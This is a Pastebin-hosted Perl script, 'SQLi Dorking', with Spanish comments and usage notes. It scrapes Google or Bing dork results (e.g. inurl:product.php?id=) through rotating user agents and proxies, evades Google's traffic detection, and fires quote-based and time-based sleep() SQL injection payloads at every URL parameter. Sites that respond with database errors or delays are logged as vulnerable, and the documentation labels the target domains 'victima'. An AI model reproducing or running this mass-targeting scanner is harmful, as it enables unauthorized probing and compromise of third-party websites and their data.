Googleinurl

sqliDorking BING E GOOGLE

Jan 3rd, 2014
1,148
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. #################################
  4. #   SQLi Dorking                #
  5. #   Autor: Crozz Cyborg         #
  6. #                               #
  7. #  Copyright 2013 Crozz Cyborg  #
  8. #################################
  9.  
  10. use strict;
  11. $| = 1;
  12. $SIG{'INT'} = \&Interrupt;
  13.  
  14. # Modulos/Librerias
  15. use HTTP::Request;
  16. use LWP::UserAgent;
  17. use Getopt::Long;
  18. use Benchmark;
  19. use POSIX;
  20. use threads;
  21. use Time::HiRes "usleep";
  22.  
  23. # Variables
  24. my @UserAgents = (
  25. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0',
  26. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0',
  27. 'Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0',
  28. 'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  29. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)',
  30. 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  31. 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  32. 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14');
  33.  
  34. my ($Dork,$BingDork,$List,$NumPaginas,$FileLinks,$Proxy);
  35. my $proceso;
  36.  
  37. my $result = GetOptions(
  38.                 'gd=s'  => \$Dork,
  39.                 'bd=s'  => \$BingDork,
  40.                 'l=s'   => \$List,
  41.                 'p=s'   => \$NumPaginas,
  42.                 'f=s'   => \$FileLinks,
  43.                 'prx=s' => \$Proxy);
  44.  
  45. # INI Funciones
  46.  
  47. sub Uso(){
  48.     die <<EOTXT;
  49. \rUso: $0 [-d dork] -p <paginas> [-l archivo.txt]  [-f archivo]
  50.   -gd <Dork>
  51.       Google Dork
  52.   -bd <Bing>
  53.       Bing Dork
  54.   -l <Archivo>
  55.       Archivo con links para analizar
  56.   -p <paginas>
  57.       Numero de paginas para buscar
  58.   -f <archivo>
  59.       Archivo donde se guardaran los logs
  60.  
  61. Ejemplo: $0 -d inurl:product.php?id= -p 3
  62.  
  63. Mas informacion escribe: perldoc $0
  64. EOTXT
  65. }
  66.  
  67. sub LinksByDork(){
  68.     my @Links;
  69.     my $Paginas = $Dork ? 0 : 1;
  70.     my ($carga,$porcentaje) = ("",0);
  71.     $proceso = 'dork';
  72.  
  73.     print "Dork: $Dork$BingDork\n";
  74.  
  75.     foreach(my $pag = 0;$pag <= $NumPaginas;$pag++){
  76.         my ($HTML,$Link,@Data);
  77.  
  78.         printf("\r[%-50s] %3i%%",$carga,$porcentaje < 100 ? ceil($porcentaje) : floor($porcentaje));
  79.         $porcentaje += (100/$NumPaginas);
  80.         $carga = "=" x ($porcentaje < 100 ? ceil($porcentaje)/2 : floor($porcentaje)/2);
  81.  
  82.         if($Dork){
  83.             $HTML = &Navegar('http://www.google.com/search?q='.$Dork.'&start='.$Paginas,$Proxy);
  84.         }
  85.         elsif($BingDork){
  86.             $HTML = &Navegar('http://www.bing.com/search?q='.$BingDork.'&first='.$Paginas,$Proxy);
  87.         }
  88.  
  89.         if($HTML =~ m/Our systems have detected unusual traffic from your computer/i){
  90.             $HTML =~ /IP address\: (\S+)\<br/i;
  91.             print "\rDetectado trafico \"inusual\" de la IP $1\ncambiala para continuar [(C)ambiar a Bing/(Q)uitar/Continuar[Enter]] ";
  92.             chomp(my $CQ = <STDIN>);
  93.             if($CQ =~ /q/i){
  94.                 if($#Links > 0){
  95.                     @Links = &EliminarRep(@Links);
  96.                     return @Links
  97.                 }else{exit}
  98.             }
  99.             elsif($CQ =~ /c/i){
  100.                 $BingDork = $Dork;
  101.                 $Dork = 0;
  102.                 $Paginas += 1;
  103.                 $HTML = &Navegar('http://www.bing.com/search?q='.$BingDork.'&first='.$Paginas,$Proxy);
  104.             }
  105.             else{
  106.                 print "Continuando...\n";
  107.                 $pag--;
  108.                 next
  109.             }
  110.         }
  111.  
  112.         if($Dork){
  113.             @Data = $HTML =~ m/href="\/url\?q=([-.:%?=&\/\w]+)\&amp;sa=U&amp;/gi;
  114.         }
  115.         elsif($BingDork){
  116.             @Data = $HTML =~ /<h3><a href="([-.:%?=&\/\w]+)"/mgi;
  117.         }
  118.  
  119.         foreach $Link(@Data){
  120.             if($Link !~ m/google.com/i && $Link !~ m/googleusercontent.com/i && $Link !~ m/msn.com/i && ($Link =~ m/\%3[fF]\w+%3[dD]\w+/ || $Link =~ /\?\w+=\w+/)){
  121.                 $Link =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  122.                 $Link =~ s/https:\/\//http:\/\//g;
  123.  
  124.                 push(@Links,$Link);
  125.             }
  126.         }
  127.         $Paginas += 10;
  128.     }
  129.  
  130.     print "\n\n";
  131.  
  132.     @Links = &EliminarRep(@Links);
  133.  
  134.     return @Links
  135. }
  136.  
  137. sub LinksByList(){
  138.     my @Links;
  139.     $NumPaginas = 15;
  140.  
  141.     open(LIST,"$List");
  142.  
  143.     while(<LIST>){
  144.         chomp;
  145.         $BingDork = "site:$_";
  146.         push(@Links,LinksByDork());
  147.     }
  148.  
  149.     close(LIST);
  150.  
  151.     return @Links
  152. }
  153.  
  154. sub Navegar(){
  155.     my ($URL,$UseProxy) = @_;
  156.  
  157.     my ($UA,$Req,$Resp,$Contenido);
  158.  
  159.     $UA = LWP::UserAgent->new;
  160.     $UA->agent($UserAgents[int(rand($#UserAgents+1))]);
  161.     $UA->timeout(10);
  162.  
  163.     $URL =~ /^http\:\/\/([\w\.]+)\/*/;
  164.     $UA->default_header('Host' => $1);
  165.     $UA->default_header('Accept' => 'text/html');
  166.     $UA->default_header('Accept-Language' => 'en-US,en;q=0.5');
  167.     $UA->default_header('DNT' => '1');
  168.     $UA->default_header('Connection' => 'close');
  169.  
  170.     $UA->proxy('http' => "http://$UseProxy") if $UseProxy;
  171.  
  172.     $Req = HTTP::Request->new(GET => $URL);
  173.     $Resp = $UA->request($Req);
  174.     $Contenido = $Resp->content();
  175.     return $Contenido
  176. }
  177.  
  178. sub SQL(){
  179.     my $Link = shift;
  180.  
  181.     my @Edit = split('\?',$Link); # Separa variables de la url
  182.     my @Variables = split('&',$Edit[1]); # Separa por pares variable=valor
  183.  
  184.     my %Vars = map {split('=',$_)} @Variables; # Almacena variable = valor en el hash %Vars
  185.  
  186.     my $LinkMod;
  187.     my @HTML = (undef) x 3;
  188.  
  189.     foreach my $Var(keys %Vars){
  190.         $LinkMod = &ModLink($Edit[0],@Variables,$Var," '"); # Se modifica el link para inyectar el codigo ' en la variable $Var
  191.         my $time1 = new Benchmark;
  192.         $HTML[0] = &Navegar($LinkMod);
  193.         my $time2 = new Benchmark;
  194.         my $timeAv = timediff($time2,$time1);
  195.  
  196.         if($HTML[0] =~ m/You have an error in your SQL syntax/i){
  197.             my @Ret = ($Link,$Var,"'",$$timeAv[0]);
  198.             return \@Ret;
  199.         }
  200.         elsif($HTML[0] =~ m/supplied argument is not a valid MySQL/i){
  201.             my @Ret = ($Link,$Var,"'",$$timeAv[0]);
  202.             return \@Ret;
  203.         }
  204.  
  205.         return 0 if($$timeAv[0] >= 40);
  206.         $$timeAv[0] = 40 if($$timeAv[0] >= 10);
  207.  
  208.         foreach(("' and sleep(".($$timeAv[0]+20).") and '1' = '1"," and sleep(".($$timeAv[0]+20).") and 1 = 1")){
  209.             $LinkMod = &ModLink($Edit[0],@Variables,$Var,$_);
  210.  
  211.             my $time1 = new Benchmark;
  212.             $HTML[0] = &Navegar($LinkMod);
  213.             my $time2 = new Benchmark;
  214.             my $timedif = timediff($time2,$time1);
  215.  
  216.             if($$timedif[0] >= ($$timeAv[0]+20)){
  217.                 my @Ret = ($Link,$Var,$_,$$timedif[0]);
  218.                 return \@Ret;
  219.             }
  220.         }
  221.     }
  222.     return 0
  223. }
  224.  
  225. sub ModLink(){
  226.     my $Host = shift;
  227.     my @Variables = shift;
  228.     my $Var = shift;
  229.     my $Code = shift;
  230.  
  231.     my %Vars = map {split('=',$_)} @Variables;
  232.  
  233.     my $LinkMod = $Host.'?';
  234.  
  235.     foreach (keys %Vars){
  236.         if($Var eq $_){$LinkMod .= "$_=".$Vars{$_}." $Code&";}
  237.         else{$LinkMod .= "$_=".$Vars{$_}."&";}
  238.     }
  239.     chop($LinkMod);
  240.     return $LinkMod;
  241. }
  242.  
  243. sub EliminarRep(){
  244.     my @Links = @_;
  245.     my @HP1;
  246.     my @HP2;
  247.  
  248.     for(my $i = 0;$i <= $#Links;$i++){
  249.         @HP1 = split('\?',$Links[$i]);
  250.         for(my $x = $i;$x <= $#Links;$x++){
  251.             @HP2 = split('\?',$Links[$x]);
  252.             if($i != $x && $HP1[0] eq $HP2[0]){
  253.                 splice(@Links,$x,1);
  254.                 $x-- if $x != 0;
  255.             }
  256.         }
  257.     }
  258.  
  259.     return @Links;
  260. }
  261.  
  262. sub Logs(){
  263.     if(open(LOGS,">>${$_[0]}")){
  264.         print LOGS "$_[1]\n";
  265.         close(LOGS);
  266.     }
  267.     else{
  268.         print "No se puede escribir en el archivo '${$_[0]}' $!";
  269.         print "Especifica otro archivo: ";
  270.         chomp(${$_[0]} = <STDIN>);
  271.     }
  272. }
  273.  
  274. sub Interrupt(){
  275.     print "\n\n1) Cambiar proxy\n2) Cambiar dork\n3) Salir\n\n\$> ";
  276.     chomp(my $resp = <STDIN>);
  277.  
  278.     if($resp == 1){print "Nuevo proxy: ";chomp($Proxy = <STDIN>)}
  279.     elsif($resp == 2){print "Nueva dork: ";chomp($Dork = <STDIN>)}
  280.     elsif($resp == 3){print "Finalizando\n";exit}
  281.     else{print "Opcion invalida\n";}
  282. }
  283.  
  284. # End Funciones
  285.  
  286. sub main(){
  287.     my @Links;
  288.  
  289.     my @LinkSQLi;
  290.     my @t = (4,8,10);
  291.  
  292.     my @c = ("\e[1;32m","\e[0;32m");
  293.     my $nc = 0;
  294.  
  295.     print "Obteniendo links...";
  296.     if($Dork){
  297.         Uso() unless $NumPaginas;
  298.         if($BingDork){
  299.             print "\rSolamente puedes usar un buscador!\n";
  300.             Uso();
  301.         }
  302.         print "\n";push(@Links,LinksByDork());
  303.     }
  304.     elsif($BingDork){
  305.         Uso() unless $NumPaginas;
  306.         if($Dork){
  307.             print "\rSolamente puedes usar un buscador!\n";
  308.             Uso();
  309.         }
  310.         print "\n";push(@Links,LinksByDork());
  311.     }
  312.     elsif($List){
  313.         print "\n";push(@Links,LinksByList());
  314.     }
  315.     else{
  316.         Uso();
  317.     }
  318.  
  319.     print "Escaneando ".($#Links+1)." links...\n\n" if $#Links > 0;
  320.  
  321.     foreach(@Links){
  322.         my $thr1 = threads->create(\&SQL,$_);
  323.  
  324.         while($thr1->is_running()){
  325.             for(("/","-","\\","|")){
  326.                 print $_;
  327.                 usleep(80_000);
  328.                 print "\b";
  329.             }
  330.         }
  331.  
  332.         my $Datos = $thr1->join();
  333.  
  334.         if($Datos){
  335.             foreach(0..2){
  336.                 $t[$_] = length($$Datos[$_]) if($t[$_] < length($$Datos[$_]));
  337.             }
  338.             printf("Link: %s Var: %s Payload: %s Time: %s\n",$$Datos[0],$$Datos[1],$$Datos[2],$$Datos[3]);
  339.             &Logs(\$FileLinks,"Link: $$Datos[0] Var: $$Datos[1] Payload: $$Datos[2]") if $FileLinks;
  340.             push(@LinkSQLi,$Datos);
  341.         }
  342.     }
  343.  
  344.     if(@LinkSQLi){
  345.         printf("\n" x 5);
  346.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  347.         printf("|\e[0;33mLink%s\e[0m|\e[0;33mVar%s\e[0m|\e[0;33mPayload%s\e[0m|\n"," " x ($t[0]-4)," " x ($t[1]-3)," " x ($t[2]-7));
  348.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  349.         foreach my $l(@LinkSQLi){
  350.             printf("|$c[$nc % 2]%-${t[0]}s\e[0m|$c[$nc % 2]%-${t[1]}s\e[0m|$c[$nc % 2]%-${t[2]}s\e[0m|\n",$$l[0],$$l[1],$$l[2]);
  351.             $nc++;
  352.         }
  353.         printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2]));
  354.         system("notify-send \"SQLi Dorking\" \"Escaneo finalizado con ".($#LinkSQLi+1)." vulnerables\" -t 10000");
  355.     }
  356.     else{
  357.         print "No se encontraron paginas vulnerables\n";
  358.     }
  359.  
  360. }
  361.  
  362. main();
  363.  
  364. __END__
  365.  
  366. =head1 Nombre
  367.  
  368. SQLi Dorking
  369.  
  370. =head1 Version
  371.  
  372. Version: 1.0 Beta
  373.  
  374. =head1 Autor
  375.  
  376. Crozz Cyborg
  377.  
  378. =head1 Descripcion
  379.  
  380. Busca paginas vulnerables a SQL (usa google)
  381.  
  382. =head1 Uso
  383.  
  384. sqliDorking.pl [-d/-bd <dork>] -p <paginas> [-l Links.txt]  [-f Logs.txt]
  385.  
  386. =head2 Opciones
  387.  
  388.   -gd <Dork>
  389.       Google Dork
  390.   -bd <Bing>
  391.       Bing Dork
  392.   -l <Archivo>
  393.       Archivo con links para analizar
  394.   -p <paginas>
  395.       Numero de paginas para buscar
  396.   -f <archivo>
  397.       Archivo donde se guardaran los logs
  398.  
  399. =head2 Ejemplos de uso
  400.  
  401. sqliDorking.pl -gd inurl:product.php?id= -p 3 -f VulneSQL.txt
  402.  
  403. sqliDorking.pl -l links.txt -f VulneSQL.txt
  404.  
  405. sqliDorking.pl -bd inurl:product.php?id= -p 3
  406.  
  407. sqliDorking.pl -l links.txt
  408.  
  409. =head2 Archivo Links.txt
  410.  
  411. El archivo links.txt puede tener cualquier otro nombre, en cuanto al formato debe de tener 1 nombre de dominio por linea, ejemplo de dominio: victima.com
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×